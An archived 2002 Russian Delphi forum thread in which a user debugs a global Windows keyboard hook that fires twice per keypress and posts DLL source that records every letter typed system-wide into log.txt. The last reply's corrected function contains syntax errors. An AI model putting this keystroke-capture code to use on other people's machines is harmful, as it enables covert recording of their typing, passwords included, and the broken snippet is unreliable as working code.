Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2002.04.04;
Скачать: CL | DM;

Вниз

Народ! Подскажите, что это за глюк!   Найти похожие ветки 

 
Serg001 ©   (2002-02-02 16:09) [0]

Поставил глобальный hook на keyboard и сама функция hook выполняется при одном нажатии клавиши дважды, почему?


 
kaif ©   (2002-02-02 16:16) [1]

Возможно это связано с тем, что клавиатура дважды посылает скан-код. Первый раз - в момент нажатия, второй - в момент отпускания клавиши. Хотя боюсь соврать.


 
Serg001 ©   (2002-02-02 16:21) [2]

>kaif
А если так, то как это исправить?


 
Serg001 ©   (2002-02-02 16:40) [3]

Неужели никто не знает?


 
DMN ©   (2002-02-02 16:51) [4]

В callback-функцию передается lParam, старший бит которого указывает, была клавиша нажата или отпущена.

if ((lParam and $800000)=0) then
//нажата
else
//отпущена


 
Serg001 ©   (2002-02-02 17:00) [5]

Не помогает.


 
Builder ©   (2002-02-02 17:48) [6]

Покажи, как твы поставил хук. Посмотрим.


 
Serg001 ©   (2002-02-03 07:00) [7]


library HookDll;


uses Windows, SysUtils;

var CurrentHook: HHook;
Key: char;
CurFile: text;

function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
begin
if code<0 then begin
GlobalKeyBoardHook:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ((lParam and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin
Key:=char(wParam);
if fileexists("log.txt")=false then rewrite(CurFile);
write(CurFile, Key);
end;
CallNextHookEx(CurrentHook, code, wParam, lparam);
GlobalKeyBoardHook:=0;
Exit;
end;

procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook, HInstance, 0);
assignfile(CurFile,"log.txt");
If fileexists("log.txt")=false then rewrite(CurFile) else Append(CurFile);;
end;

procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
closefile(CurFile);
end;

exports SetupGlobalKeyBoardHook index 1,
UnHook index 2;
begin

end.


 
Serg001 ©   (2002-02-03 07:49) [8]

Неужели никто не поможет?


 
Dimaond Cat ©   (2002-02-05 01:02) [9]

А зачем два раза делать CallNextHookEx

попробуй так

function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
begin
code=hc_action then begin
if ((lParam and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin
Key:=char(wParam);
if fileexists("log.txt")=false then rewrite(CurFile);
write(CurFile, Key);
end;
end
result:=CallNextHookEx(CurrentHook, code, wParam, lparam);
end;
если не заработает пиши поделюсь примером




Страницы: 1 вся ветка

Текущий архив: 2002.04.04;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.011 c
1-9484
snoup
2002-03-25 19:57
2002.04.04
Как с помощью таймера и лебела сделать сикундомер?


1-9437
bobr12
2002-03-22 16:19
2002.04.04
Создание help-файла


1-9540
kvazar
2002-03-24 09:24
2002.04.04
поиск узла в тривью по тексту


4-9679
Ditrix
2002-02-05 06:49
2002.04.04
CreateProcessWithLogonW -> Error 87 InvalidParameters???????


1-9544
snoup
2002-03-23 20:12
2002.04.04
Как вызвать из панели управления например аплер Модемы ?